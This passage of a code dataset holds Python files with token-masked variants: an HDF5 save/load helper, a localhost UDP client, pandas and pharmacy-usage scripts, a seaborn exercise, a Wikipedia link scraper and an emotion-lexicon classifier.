np.array(group_or_val[()]).squeeze()\n if saved_dict_curr[key].size == 1:\n saved_dict_curr[key] = float(saved_dict_curr[key])\n elif dtype.str.startswith('|S'):\n if group_or_val[()].shape == (1, 1):\n saved_dict_curr[key] = group_or_val[()][0, 0].decode()\n elif group_or_val[()].shape == (1,):\n saved_dict_curr[key] = group_or_val[()][0].decode()\n elif group_or_val[()].shape == ():\n saved_dict_curr[key] = group_or_val[()].decode()\n else:\n saved_dict_curr[key] = [x.decode() for x in\n group_or_val[()].squeeze()]\n elif dtype.str == '|O':\n saved_dict_curr[key] = group_or_val[()]\n elif type(group_or_val[()]) is str:\n saved_dict_curr[key] = group_or_val[()]\n else:\n print('Could not store key %s with type %s in dict (2)' % (\n key, dtype))\n else:\n print('Could not store key %s with type %s in dict (3)' % (key,\n type_))\n saved_dict = {}\n with h5py.File(h5_file.strip(), 'r') as f:\n if 'none' in f:\n recurse_load(f['none'], 'key', saved_dict)\n saved_dict = saved_dict['key']\n else:\n recurse_load(f, 'key', saved_dict)\n return saved_dict\n", "<import token>\n<assignment token>\n<function token>\n\n\ndef addStringAttribute(dset_or_group, name, data):\n dset_or_group.attrs[name] = bytes(data, 'utf-8')\n\n\n<function token>\n<function token>\n\n\ndef saveH5Recursive(h5_filename, data_dict):\n try:\n import tracking\n except ImportError:\n from . import tracking\n\n def recurse_save(group, dict_or_data, dict_or_data_name, new_group=None):\n if dict_or_data is None:\n dict_or_data = 'None'\n if group is None:\n print(\"'recurse_save' has been called with None\")\n raise ValueError\n if type(dict_or_data) is tracking.BeamProfile or type(dict_or_data\n ) is tracking.ScreenDistribution:\n dict_or_data = dict_or_data.to_dict()\n if type(dict_or_data) is tuple:\n dict_or_data = {'tuple_%i': x for i, x in enumerate(dict_or_data)}\n if type(dict_or_data) is dict:\n if type(dict_or_data_name) is int:\n inner_key = str(dict_or_data_name)\n try:\n new_group = group.create_group(dict_or_data_name)\n except Exception as e:\n print(e)\n print(dict_or_data_name, 'error')\n if new_group is None:\n raise ValueError\n for key, val in dict_or_data.items():\n try:\n recurse_save(new_group, val, key)\n except ValueError as e:\n print(e)\n print('I called recurse_save with None')\n else:\n mydata = dict_or_data\n inner_key = dict_or_data_name\n if type(mydata) is str:\n add_dataset(group, inner_key, mydata.encode('utf-8'), 'unknown'\n )\n elif type(mydata) is list and type(mydata[0]) is str or hasattr(\n mydata, 'dtype') and mydata.dtype.type is np.str_:\n try:\n if hasattr(mydata, 'dtype'\n ) and mydata.dtype.type is np.str and len(mydata.shape\n ) == 2:\n mydata = mydata.flatten()\n if len(mydata.shape) == 2:\n new_list = [[n.encode('ascii') for n in arr] for\n arr in mydata]\n max_str_size = max(max(len(n) for n in arr) for arr in\n mydata)\n elif len(mydata.shape) == 1:\n new_list = [n.encode('ascii') for n in mydata]\n max_str_size = max(len(n) for n in mydata)\n elif len(mydata.shape) == 0:\n new_list = [mydata.encode('ascii')]\n max_str_size = len(new_list[0])\n dset = group.create_dataset(inner_key, mydata.shape, \n 'S%i' % max_str_size, new_list)\n dset.attrs.create('system', 'unknown', (1,), dtype=dt)\n except:\n print('Error for key', inner_key)\n print(type(mydata))\n if type(mydata) is list:\n print('type(mydata[0])')\n print(type(mydata[0]))\n print('mydata')\n print(mydata)\n elif hasattr(mydata, 'dtype') and mydata.dtype == np.dtype('O'):\n if mydata.shape == ():\n add_dataset(group, inner_key, mydata, 'unknown')\n elif len(mydata.shape) == 1:\n try:\n add_dataset(group, inner_key, mydata, 'unknown')\n except Exception as e:\n print(e)\n print('Error for key', inner_key)\n print(group, inner_key)\n else:\n for i in range(mydata.shape[0]):\n for j in range(mydata.shape[1]):\n try:\n add_dataset(group, inner_key + '_%i_%i' % (\n i, j), mydata[i, j], 'unknown')\n except:\n print('Error for key', inner_key)\n print(group, inner_key, i, j)\n else:\n try:\n add_dataset(group, inner_key, mydata, 'unknown')\n except Exception as e:\n print('Error', e)\n print(inner_key, type(mydata))\n with h5py.File(h5_filename, 'w') as dataH5:\n for main_key, subdict in data_dict.items():\n recurse_save(dataH5, subdict, main_key, None)\n\n\n<function token>\n", "<import token>\n<assignment token>\n<function token>\n\n\ndef addStringAttribute(dset_or_group, name, data):\n dset_or_group.attrs[name] = bytes(data, 'utf-8')\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n" ]
false
409
4d388c912915c3f1f9e433f1342289f0864b3a11
#/usr/bin/python # File: UdpClient.py # Author: David Zemon # Project: Project1 # # Created with: PyCharm Community Edition """ @description: """ __author__ = 'david' import logging from src.UDP import UDPClient logging.basicConfig(level="DEBUG") serverName = '127.0.0.1' serverPort = 12000 client = UDPClient() message = input("Input lowercase sentence: ") client.sendto(message.encode('utf-8'), (serverName, serverPort)) modifiedMessage, serverAddress = client.recvfrom(2048) print(modifiedMessage.decode('utf-8')) client.close()
[ "#/usr/bin/python\n# File: UdpClient.py\n# Author: David Zemon\n# Project: Project1\n#\n# Created with: PyCharm Community Edition\n\n\"\"\"\n@description:\n\"\"\"\n__author__ = 'david'\n\nimport logging\nfrom src.UDP import UDPClient\n\nlogging.basicConfig(level=\"DEBUG\")\n\nserverName = '127.0.0.1'\nserverPort = 12000\n\nclient = UDPClient()\n\nmessage = input(\"Input lowercase sentence: \")\nclient.sendto(message.encode('utf-8'), (serverName, serverPort))\n\nmodifiedMessage, serverAddress = client.recvfrom(2048)\nprint(modifiedMessage.decode('utf-8'))\nclient.close()\n", "<docstring token>\n__author__ = 'david'\nimport logging\nfrom src.UDP import UDPClient\nlogging.basicConfig(level='DEBUG')\nserverName = '127.0.0.1'\nserverPort = 12000\nclient = UDPClient()\nmessage = input('Input lowercase sentence: ')\nclient.sendto(message.encode('utf-8'), (serverName, serverPort))\nmodifiedMessage, serverAddress = client.recvfrom(2048)\nprint(modifiedMessage.decode('utf-8'))\nclient.close()\n", "<docstring token>\n__author__ = 'david'\n<import token>\nlogging.basicConfig(level='DEBUG')\nserverName = '127.0.0.1'\nserverPort = 12000\nclient = UDPClient()\nmessage = input('Input lowercase sentence: ')\nclient.sendto(message.encode('utf-8'), (serverName, serverPort))\nmodifiedMessage, serverAddress = client.recvfrom(2048)\nprint(modifiedMessage.decode('utf-8'))\nclient.close()\n", "<docstring token>\n<assignment token>\n<import token>\nlogging.basicConfig(level='DEBUG')\n<assignment token>\nclient.sendto(message.encode('utf-8'), (serverName, serverPort))\n<assignment token>\nprint(modifiedMessage.decode('utf-8'))\nclient.close()\n", "<docstring token>\n<assignment token>\n<import token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n" ]
false
410
cd5945631a9dd505bf67089bab8c5a37ad375129
import pandas as pd df1 = pd.read_csv("../final/your_no.tsv", '\t') df2 = pd.read_csv("../../Downloads/me.csv", '\t') final = pd.concat([df1, df2]) final.to_csv('../../Downloads/final_con_final.tsv', sep='\t', index=False)
[ "import pandas as pd \ndf1 = pd.read_csv(\"../final/your_no.tsv\", '\\t')\ndf2 = pd.read_csv(\"../../Downloads/me.csv\", '\\t')\nfinal = pd.concat([df1, df2])\nfinal.to_csv('../../Downloads/final_con_final.tsv', sep='\\t', index=False)\n", "import pandas as pd\ndf1 = pd.read_csv('../final/your_no.tsv', '\\t')\ndf2 = pd.read_csv('../../Downloads/me.csv', '\\t')\nfinal = pd.concat([df1, df2])\nfinal.to_csv('../../Downloads/final_con_final.tsv', sep='\\t', index=False)\n", "<import token>\ndf1 = pd.read_csv('../final/your_no.tsv', '\\t')\ndf2 = pd.read_csv('../../Downloads/me.csv', '\\t')\nfinal = pd.concat([df1, df2])\nfinal.to_csv('../../Downloads/final_con_final.tsv', sep='\\t', index=False)\n", "<import token>\n<assignment token>\nfinal.to_csv('../../Downloads/final_con_final.tsv', sep='\\t', index=False)\n", "<import token>\n<assignment token>\n<code token>\n" ]
false
411
16b425d7b8cde1aabe038ccae6922091afb84415
# coding: utf-8 # In[1]: import matplotlib.pyplot as plt import matplotlib import pandas as pd import numpy as np from pandas import DataFrame, Series import os, re # In[2]: OUTPUT_EXCEL = '월별원내약품사용현황.xlsx' # In[3]: # 데이타셋 준비 data_source_dir = '사용량월별통계/원내' dfs = [] for fname in os.listdir(data_source_dir): fn, ext = os.path.splitext(fname) if ext in ['.xls', '.xlsx']: df = pd.read_excel(os.path.join(data_source_dir, fname)) df['사용(개시)년월'] = fn dfs.append(df) use_amount_df = pd.concat(dfs, ignore_index=True) # In[4]: drug_standard_df = pd.read_json('drug.json').T drug_info_df = pd.read_excel('약품정보.xls') use_amount_df = pd.merge(drug_info_df, use_amount_df[['사용량', '약품코드', '사용(개시)년월']], on='약품코드', how='left') use_amount_df = pd.merge(use_amount_df, drug_standard_df[['보험코드', '제품명', '판매사', '성분/함량']], left_on='EDI코드', right_on='보험코드', how='left') use_amount_df['제품명'] = use_amount_df['제품명'].fillna(use_amount_df['약품명(한글)']) use_amount_df['사용개시년월'] = use_amount_df['수가시작일자'].map(lambda x: str(x)[0:4]+'-'+str(x)[4:6]) use_amount_df['사용(개시)년월'] = use_amount_df['사용(개시)년월'].fillna(use_amount_df['사용개시년월']) use_amount_df['성분명'] = use_amount_df['성분명'].fillna(use_amount_df['성분/함량']) use_amount_df['원내/원외 처방구분'] = use_amount_df['원내/원외 처방구분'].map({1: '원외', 2: '원외/원내', 3: '원내'}) use_amount_df['약품법적구분'] = use_amount_df['약품법적구분'].map({0: '일반', 1: '마약', 2: '향정약', 3: '독약', 4: '한방약', 5: '고가약'}) # In[5]: def get_last(s): try: return max(s) except: return s # In[6]: months = use_amount_df['사용(개시)년월'].unique() months = sorted(months.tolist(), reverse=1) use_amount_df['최후사용월'] = use_amount_df.groupby(['제품명'])['사용(개시)년월'].transform(get_last) use_amount_df['최근미사용월수'] = use_amount_df['최후사용월'].map(lambda x: months.index(x) if x in months else -1) # In[7]: use_amount_in_df = use_amount_df[use_amount_df['원내/원외 처방구분'] != '원외'] # In[8]: use_amount_in_df['사용량'] = use_amount_in_df['사용량'].fillna('오픈후미사용') # In[9]: pat = '(\(([^\d].*?)\)+\s*)|퇴장방지\s*|생산원가보전,*\s*|사용장려(비\s*\d+원|및|비용지급,*\s*)' use_amount_in_df = use_amount_in_df.rename(columns={'제품명': '약품명(드럭인포)', '약품명(한글)': '약품명(원내)'}) use_amount_in_df['약품명(드럭인포)'] = use_amount_in_df['약품명(드럭인포)'].str.replace(pat, '') # In[10]: pvt = use_amount_in_df.pivot_table(index = ['EDI코드','약품명(드럭인포)', '성분명','약품코드','약품명(원내)','효능코드명','규격단위', '최근미사용월수'], columns=['사용(개시)년월'], values=['사용량'], aggfunc=sum) # In[11]: pvt.to_excel(OUTPUT_EXCEL) os.startfile(OUTPUT_EXCEL) # In[ ]:
[ "\n# coding: utf-8\n\n# In[1]:\n\nimport matplotlib.pyplot as plt\nimport matplotlib\nimport pandas as pd\nimport numpy as np\nfrom pandas import DataFrame, Series\nimport os, re\n\n\n# In[2]:\n\nOUTPUT_EXCEL = '월별원내약품사용현황.xlsx'\n\n\n# In[3]:\n\n# 데이타셋 준비\ndata_source_dir = '사용량월별통계/원내'\ndfs = []\nfor fname in os.listdir(data_source_dir):\n fn, ext = os.path.splitext(fname)\n if ext in ['.xls', '.xlsx']:\n df = pd.read_excel(os.path.join(data_source_dir, fname))\n df['사용(개시)년월'] = fn\n dfs.append(df)\nuse_amount_df = pd.concat(dfs, ignore_index=True)\n\n\n# In[4]:\n\ndrug_standard_df = pd.read_json('drug.json').T\n\ndrug_info_df = pd.read_excel('약품정보.xls')\n\nuse_amount_df = pd.merge(drug_info_df, use_amount_df[['사용량', '약품코드', '사용(개시)년월']], on='약품코드', how='left')\n\nuse_amount_df = pd.merge(use_amount_df, drug_standard_df[['보험코드', '제품명', '판매사', '성분/함량']], left_on='EDI코드', right_on='보험코드', how='left')\n\nuse_amount_df['제품명'] = use_amount_df['제품명'].fillna(use_amount_df['약품명(한글)'])\n\nuse_amount_df['사용개시년월'] = use_amount_df['수가시작일자'].map(lambda x: str(x)[0:4]+'-'+str(x)[4:6])\n\nuse_amount_df['사용(개시)년월'] = use_amount_df['사용(개시)년월'].fillna(use_amount_df['사용개시년월'])\nuse_amount_df['성분명'] = use_amount_df['성분명'].fillna(use_amount_df['성분/함량'])\n\nuse_amount_df['원내/원외 처방구분'] = use_amount_df['원내/원외 처방구분'].map({1: '원외', 2: '원외/원내', 3: '원내'})\nuse_amount_df['약품법적구분'] = use_amount_df['약품법적구분'].map({0: '일반', 1: '마약', 2: '향정약', 3: '독약', 4: '한방약', 5: '고가약'})\n\n\n# In[5]:\n\ndef get_last(s):\n try:\n return max(s)\n except:\n return s\n\n\n# In[6]:\n\nmonths = use_amount_df['사용(개시)년월'].unique()\nmonths = sorted(months.tolist(), reverse=1)\nuse_amount_df['최후사용월'] = use_amount_df.groupby(['제품명'])['사용(개시)년월'].transform(get_last)\nuse_amount_df['최근미사용월수'] = use_amount_df['최후사용월'].map(lambda x: months.index(x) if x in months else -1)\n\n\n# In[7]:\n\nuse_amount_in_df = use_amount_df[use_amount_df['원내/원외 처방구분'] != '원외']\n\n\n# In[8]:\n\nuse_amount_in_df['사용량'] = use_amount_in_df['사용량'].fillna('오픈후미사용')\n\n\n# In[9]:\n\npat = '(\\(([^\\d].*?)\\)+\\s*)|퇴장방지\\s*|생산원가보전,*\\s*|사용장려(비\\s*\\d+원|및|비용지급,*\\s*)'\nuse_amount_in_df = use_amount_in_df.rename(columns={'제품명': '약품명(드럭인포)', '약품명(한글)': '약품명(원내)'})\nuse_amount_in_df['약품명(드럭인포)'] = use_amount_in_df['약품명(드럭인포)'].str.replace(pat, '')\n\n\n# In[10]:\n\npvt = use_amount_in_df.pivot_table(index = ['EDI코드','약품명(드럭인포)', '성분명','약품코드','약품명(원내)','효능코드명','규격단위', '최근미사용월수'], columns=['사용(개시)년월'], values=['사용량'], aggfunc=sum)\n\n\n# In[11]:\n\npvt.to_excel(OUTPUT_EXCEL)\nos.startfile(OUTPUT_EXCEL)\n\n\n# In[ ]:\n\n\n\n", "import matplotlib.pyplot as plt\nimport matplotlib\nimport pandas as pd\nimport numpy as np\nfrom pandas import DataFrame, Series\nimport os, re\nOUTPUT_EXCEL = '월별원내약품사용현황.xlsx'\ndata_source_dir = '사용량월별통계/원내'\ndfs = []\nfor fname in os.listdir(data_source_dir):\n fn, ext = os.path.splitext(fname)\n if ext in ['.xls', '.xlsx']:\n df = pd.read_excel(os.path.join(data_source_dir, fname))\n df['사용(개시)년월'] = fn\n dfs.append(df)\nuse_amount_df = pd.concat(dfs, ignore_index=True)\ndrug_standard_df = pd.read_json('drug.json').T\ndrug_info_df = pd.read_excel('약품정보.xls')\nuse_amount_df = pd.merge(drug_info_df, use_amount_df[['사용량', '약품코드',\n '사용(개시)년월']], on='약품코드', how='left')\nuse_amount_df = pd.merge(use_amount_df, drug_standard_df[['보험코드', '제품명',\n '판매사', '성분/함량']], left_on='EDI코드', right_on='보험코드', how='left')\nuse_amount_df['제품명'] = use_amount_df['제품명'].fillna(use_amount_df['약품명(한글)'])\nuse_amount_df['사용개시년월'] = use_amount_df['수가시작일자'].map(lambda x: str(x)[0:4] +\n '-' + str(x)[4:6])\nuse_amount_df['사용(개시)년월'] = use_amount_df['사용(개시)년월'].fillna(use_amount_df[\n '사용개시년월'])\nuse_amount_df['성분명'] = use_amount_df['성분명'].fillna(use_amount_df['성분/함량'])\nuse_amount_df['원내/원외 처방구분'] = use_amount_df['원내/원외 처방구분'].map({(1): '원외', (\n 2): '원외/원내', (3): '원내'})\nuse_amount_df['약품법적구분'] = use_amount_df['약품법적구분'].map({(0): '일반', (1): '마약',\n (2): '향정약', (3): '독약', (4): '한방약', (5): '고가약'})\n\n\ndef get_last(s):\n try:\n return max(s)\n except:\n return s\n\n\nmonths = use_amount_df['사용(개시)년월'].unique()\nmonths = sorted(months.tolist(), reverse=1)\nuse_amount_df['최후사용월'] = use_amount_df.groupby(['제품명'])['사용(개시)년월'].transform(\n get_last)\nuse_amount_df['최근미사용월수'] = use_amount_df['최후사용월'].map(lambda x: months.\n index(x) if x in months else -1)\nuse_amount_in_df = use_amount_df[use_amount_df['원내/원외 처방구분'] != '원외']\nuse_amount_in_df['사용량'] = use_amount_in_df['사용량'].fillna('오픈후미사용')\npat = (\n '(\\\\(([^\\\\d].*?)\\\\)+\\\\s*)|퇴장방지\\\\s*|생산원가보전,*\\\\s*|사용장려(비\\\\s*\\\\d+원|및|비용지급,*\\\\s*)'\n )\nuse_amount_in_df = use_amount_in_df.rename(columns={'제품명': '약품명(드럭인포)',\n '약품명(한글)': '약품명(원내)'})\nuse_amount_in_df['약품명(드럭인포)'] = use_amount_in_df['약품명(드럭인포)'].str.replace(pat,\n '')\npvt = use_amount_in_df.pivot_table(index=['EDI코드', '약품명(드럭인포)', '성분명',\n '약품코드', '약품명(원내)', '효능코드명', '규격단위', '최근미사용월수'], columns=['사용(개시)년월'],\n values=['사용량'], aggfunc=sum)\npvt.to_excel(OUTPUT_EXCEL)\nos.startfile(OUTPUT_EXCEL)\n", "<import token>\nOUTPUT_EXCEL = '월별원내약품사용현황.xlsx'\ndata_source_dir = '사용량월별통계/원내'\ndfs = []\nfor fname in os.listdir(data_source_dir):\n fn, ext = os.path.splitext(fname)\n if ext in ['.xls', '.xlsx']:\n df = pd.read_excel(os.path.join(data_source_dir, fname))\n df['사용(개시)년월'] = fn\n dfs.append(df)\nuse_amount_df = pd.concat(dfs, ignore_index=True)\ndrug_standard_df = pd.read_json('drug.json').T\ndrug_info_df = pd.read_excel('약품정보.xls')\nuse_amount_df = pd.merge(drug_info_df, use_amount_df[['사용량', '약품코드',\n '사용(개시)년월']], on='약품코드', how='left')\nuse_amount_df = pd.merge(use_amount_df, drug_standard_df[['보험코드', '제품명',\n '판매사', '성분/함량']], left_on='EDI코드', right_on='보험코드', how='left')\nuse_amount_df['제품명'] = use_amount_df['제품명'].fillna(use_amount_df['약품명(한글)'])\nuse_amount_df['사용개시년월'] = use_amount_df['수가시작일자'].map(lambda x: str(x)[0:4] +\n '-' + str(x)[4:6])\nuse_amount_df['사용(개시)년월'] = use_amount_df['사용(개시)년월'].fillna(use_amount_df[\n '사용개시년월'])\nuse_amount_df['성분명'] = use_amount_df['성분명'].fillna(use_amount_df['성분/함량'])\nuse_amount_df['원내/원외 처방구분'] = use_amount_df['원내/원외 처방구분'].map({(1): '원외', (\n 2): '원외/원내', (3): '원내'})\nuse_amount_df['약품법적구분'] = use_amount_df['약품법적구분'].map({(0): '일반', (1): '마약',\n (2): '향정약', (3): '독약', (4): '한방약', (5): '고가약'})\n\n\ndef get_last(s):\n try:\n return max(s)\n except:\n return s\n\n\nmonths = use_amount_df['사용(개시)년월'].unique()\nmonths = sorted(months.tolist(), reverse=1)\nuse_amount_df['최후사용월'] = use_amount_df.groupby(['제품명'])['사용(개시)년월'].transform(\n get_last)\nuse_amount_df['최근미사용월수'] = use_amount_df['최후사용월'].map(lambda x: months.\n index(x) if x in months else -1)\nuse_amount_in_df = use_amount_df[use_amount_df['원내/원외 처방구분'] != '원외']\nuse_amount_in_df['사용량'] = use_amount_in_df['사용량'].fillna('오픈후미사용')\npat = (\n '(\\\\(([^\\\\d].*?)\\\\)+\\\\s*)|퇴장방지\\\\s*|생산원가보전,*\\\\s*|사용장려(비\\\\s*\\\\d+원|및|비용지급,*\\\\s*)'\n )\nuse_amount_in_df = use_amount_in_df.rename(columns={'제품명': '약품명(드럭인포)',\n '약품명(한글)': '약품명(원내)'})\nuse_amount_in_df['약품명(드럭인포)'] = use_amount_in_df['약품명(드럭인포)'].str.replace(pat,\n '')\npvt = use_amount_in_df.pivot_table(index=['EDI코드', '약품명(드럭인포)', '성분명',\n '약품코드', '약품명(원내)', '효능코드명', '규격단위', '최근미사용월수'], columns=['사용(개시)년월'],\n values=['사용량'], aggfunc=sum)\npvt.to_excel(OUTPUT_EXCEL)\nos.startfile(OUTPUT_EXCEL)\n", "<import token>\n<assignment token>\nfor fname in os.listdir(data_source_dir):\n fn, ext = os.path.splitext(fname)\n if ext in ['.xls', '.xlsx']:\n df = pd.read_excel(os.path.join(data_source_dir, fname))\n df['사용(개시)년월'] = fn\n dfs.append(df)\n<assignment token>\n\n\ndef get_last(s):\n try:\n return max(s)\n except:\n return s\n\n\n<assignment token>\npvt.to_excel(OUTPUT_EXCEL)\nos.startfile(OUTPUT_EXCEL)\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n\n\ndef get_last(s):\n try:\n return max(s)\n except:\n return s\n\n\n<assignment token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<assignment token>\n<code token>\n" ]
false
412
0eaaa81d3c8bc61368701e1916b42ede88b90d04
# EXERCISE: # Plotting distributions pairwise (2) # In this exercise, you will generate pairwise joint distributions again. This time, you will make two particular # additions: # - You will display regressions as well as scatter plots in the off-diagonal subplots. You will do this with the # argument kind='reg' (where 'reg' means 'regression'). Another option for kind is 'scatter' (the default) that # plots scatter plots in the off-diagonal subplots. # - You will also visualize the joint distributions separated by continent of origin. You will do this with the # keyword argument hue specifying the 'origin'. # INSTRUCTIONS: # - Plot the pairwise joint distributions separated by continent of origin and display the regressions. # CODE: # Print the first 5 rows of the DataFrame print(auto.head()) # Plot the pairwise joint distributions grouped by 'origin' along with regression lines sns.pairplot(auto, kind='reg', hue='origin') # Display the plot plt.show()
[ "# EXERCISE:\n\n# Plotting distributions pairwise (2)\n\n# In this exercise, you will generate pairwise joint distributions again. This time, you will make two particular\n# additions:\n\n# - You will display regressions as well as scatter plots in the off-diagonal subplots. You will do this with the\n# argument kind='reg' (where 'reg' means 'regression'). Another option for kind is 'scatter' (the default) that\n# plots scatter plots in the off-diagonal subplots.\n# - You will also visualize the joint distributions separated by continent of origin. You will do this with the\n# keyword argument hue specifying the 'origin'.\n\n\n# INSTRUCTIONS:\n\n# - Plot the pairwise joint distributions separated by continent of origin and display the regressions.\n\n\n# CODE:\n\n# Print the first 5 rows of the DataFrame\nprint(auto.head())\n\n# Plot the pairwise joint distributions grouped by 'origin' along with regression lines\nsns.pairplot(auto, kind='reg', hue='origin')\n\n# Display the plot\nplt.show()\n", "print(auto.head())\nsns.pairplot(auto, kind='reg', hue='origin')\nplt.show()\n", "<code token>\n" ]
false
413
27e9635adf6109f3ab13b9d8dd5809973b61ca03
#Web Scraping #Make sure you have bs4, webbrowser and request installed as your third party modules import bs4, webbrowser, requests try: data = requests.get("http://en.wikipedia.org/wiki/Python") data.raise_for_status() my_data = bs4.BeautifulSoup(data.text, "lxml") print("List of all the header tags: \n\n") for the_data in my_data.find_all("a"): try: print(the_data.attrs["href"]) except Exception as err: print(err) except Exception as err: print(err) print("\nNo website matches your search.")
[ "#Web Scraping\r\n#Make sure you have bs4, webbrowser and request installed as your third party modules\r\n\r\nimport bs4, webbrowser, requests\r\n\r\ntry:\r\n data = requests.get(\"http://en.wikipedia.org/wiki/Python\")\r\n data.raise_for_status()\r\n \r\n my_data = bs4.BeautifulSoup(data.text, \"lxml\")\r\n \r\n print(\"List of all the header tags: \\n\\n\")\r\n for the_data in my_data.find_all(\"a\"):\r\n try:\r\n print(the_data.attrs[\"href\"])\r\n except Exception as err:\r\n print(err)\r\n \r\nexcept Exception as err:\r\n print(err)\r\n print(\"\\nNo website matches your search.\")\r\n\r\n\r\n", "import bs4, webbrowser, requests\ntry:\n data = requests.get('http://en.wikipedia.org/wiki/Python')\n data.raise_for_status()\n my_data = bs4.BeautifulSoup(data.text, 'lxml')\n print('List of all the header tags: \\n\\n')\n for the_data in my_data.find_all('a'):\n try:\n print(the_data.attrs['href'])\n except Exception as err:\n print(err)\nexcept Exception as err:\n print(err)\n print('\\nNo website matches your search.')\n", "<import token>\ntry:\n data = requests.get('http://en.wikipedia.org/wiki/Python')\n data.raise_for_status()\n my_data = bs4.BeautifulSoup(data.text, 'lxml')\n print('List of all the header tags: \\n\\n')\n for the_data in my_data.find_all('a'):\n try:\n print(the_data.attrs['href'])\n except Exception as err:\n print(err)\nexcept Exception as err:\n print(err)\n print('\\nNo website matches your search.')\n", "<import token>\n<code token>\n" ]
false
414
f5f26819be4b98fab3d46e57e1a5431e54342aed
# coding: utf-8 """Supporting model logic for predicting emotional content of user input. """ import pandas as pd import gensim from sklearn.model_selection import train_test_split from sklearn.multiclass import OneVsRestClassifier from sklearn.svm import LinearSVC #load data for emo2vec loc = 'https://s3-us-west-1.amazonaws.com/victorsdatasets/NRCEmotionLexiconv092AnnotatorandSenseLevel.txt' print("loading & cleaning the data...") em_words = pd.read_csv(loc, sep='\t', names=['annotator_id', 'remove', 'word', 'joy', 'sadness', 'fear', 'anger', 'trust', 'disgust', 'surprise', 'anticipation', 'POS']) em_words.drop('remove', axis=1, inplace=True) em_words['word'], em_words['synonym'] = em_words['word'].str.split('--').str em_words['toss1'], em_words['joy'] = em_words['joy'].str.split('-').str em_words['toss2'], em_words['sadness'] = em_words['sadness'].str.split('-').str em_words['toss3'], em_words['fear'] = em_words['fear'].str.split('-').str em_words['toss4'], em_words['anger'] = em_words['anger'].str.split('-').str em_words['toss5'], em_words['trust'] = em_words['trust'].str.split('-').str em_words['toss6'], em_words['disgust'] = em_words['disgust'].str.split('-').str em_words['toss7'], em_words['surprise'] = em_words['surprise'].str.split('-').str em_words['toss8'], em_words['anticipation'] = em_words['anticipation'].str.split('-').str em_words['toss9'], em_words['POS'] = em_words['POS'].str.split('-').str em_words.drop(['toss1','toss2','toss3','toss4','toss5','toss6','toss7','toss8','toss9'], axis=1, inplace=True) new_cols = ['annotator_id', 'word','synonym', 'joy', 'sadness', 'fear', 'anger', 'trust', 'disgust', 'surprise', 'anticipation', 'POS'] em_words = em_words.reindex_axis(new_cols, axis=1) emotions = em_words[['joy', 'sadness', 'fear', 'anger', 'trust', 'disgust', 'surprise', 'anticipation']] em_words[emotions.columns] = em_words[emotions.columns].apply(pd.to_numeric) affected = em_words[emotions.columns].groupby([em_words['word']], sort=False).mean().reset_index() # Load Google's pre-trained Word2Vec model. print('training the word2vec model from google\'s corpus') model = gensim.models.Word2Vec.load_word2vec_format('../GoogleNews-vectors-negative300.bin', binary=True) # create list of word indicies to drop to avoid keyerrors with Google's pre-trained model. idx_to_drop = [] def dropper(): for ex in affected['word']: if ex not in model.vocab: idx_to_drop.append(affected.loc[affected.word == ex].index[0]) # drop words from affected that are not in google's model dropper() affected = affected.drop(idx_to_drop, axis=0) G_vectors = lambda x: model[x] affected['word_vectors'] = affected['word'].apply(G_vectors) affected['label_vectors'] = affected[emotions.columns].values.tolist() affected['binary'] = (affected[emotions.columns] > 0).astype(int).values.tolist() df1 = affected[emotions.columns].rank(method='max', axis=1).rank(method='first', axis=1) ma = df1.max().max() affected['label'] = (df1== ma).astype(int).values.tolist() affected['target'] = affected['label'].apply(lambda x: x.index(1)) label_dict = {0 : 'joy', 1 : 'sadness', 2 : 'fear', 3 : 'anger', 4 : 'trust', 5 : 'disgust', 6 : 'surprise', 7 : 'anticipation'} affected['label_name'] = affected['target'].apply(lambda x: label_dict[x]) emo2vec = affected[['word_vectors', 'label_vectors', 'binary', 'label', 'target', 'label_name']] # # Model Testing print("splitting into train/test groups...") emo_X, emo_y = list(emo2vec.word_vectors), list(emo2vec.target) emo_X_train, emo_X_test, emo_y_train, emo_y_test = train_test_split(emo_X, emo_y, random_state=42) # ### OnevsRest with LinearSVC (best score) print("creating a model with the best stuff we've got...") OVR = OneVsRestClassifier(LinearSVC(random_state=0), n_jobs=-1) emo_model = OVR.fit(emo_X_train, emo_y_train)
[ "\n# coding: utf-8\n\"\"\"Supporting model logic for predicting emotional content of user input.\n\"\"\"\nimport pandas as pd\nimport gensim\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.multiclass import OneVsRestClassifier\nfrom sklearn.svm import LinearSVC\n\n#load data for emo2vec\nloc = 'https://s3-us-west-1.amazonaws.com/victorsdatasets/NRCEmotionLexiconv092AnnotatorandSenseLevel.txt'\nprint(\"loading & cleaning the data...\")\nem_words = pd.read_csv(loc, sep='\\t', names=['annotator_id',\n 'remove',\n 'word',\n 'joy',\n 'sadness',\n 'fear',\n 'anger',\n 'trust',\n 'disgust',\n 'surprise',\n 'anticipation',\n 'POS'])\n\nem_words.drop('remove', axis=1, inplace=True)\n\nem_words['word'], em_words['synonym'] = em_words['word'].str.split('--').str\n\nem_words['toss1'], em_words['joy'] = em_words['joy'].str.split('-').str\nem_words['toss2'], em_words['sadness'] = em_words['sadness'].str.split('-').str\nem_words['toss3'], em_words['fear'] = em_words['fear'].str.split('-').str\nem_words['toss4'], em_words['anger'] = em_words['anger'].str.split('-').str\nem_words['toss5'], em_words['trust'] = em_words['trust'].str.split('-').str\nem_words['toss6'], em_words['disgust'] = em_words['disgust'].str.split('-').str\nem_words['toss7'], em_words['surprise'] = em_words['surprise'].str.split('-').str\nem_words['toss8'], em_words['anticipation'] = em_words['anticipation'].str.split('-').str\nem_words['toss9'], em_words['POS'] = em_words['POS'].str.split('-').str\n\nem_words.drop(['toss1','toss2','toss3','toss4','toss5','toss6','toss7','toss8','toss9'],\n axis=1,\n inplace=True)\n\nnew_cols = ['annotator_id',\n 'word','synonym',\n 'joy',\n 'sadness',\n 'fear',\n 'anger',\n 'trust',\n 'disgust',\n 'surprise',\n 'anticipation',\n 'POS']\nem_words = em_words.reindex_axis(new_cols, axis=1)\n\nemotions = em_words[['joy',\n 'sadness',\n 'fear',\n 'anger',\n 'trust',\n 'disgust',\n 'surprise',\n 'anticipation']]\n\nem_words[emotions.columns] = em_words[emotions.columns].apply(pd.to_numeric)\n\naffected = em_words[emotions.columns].groupby([em_words['word']], 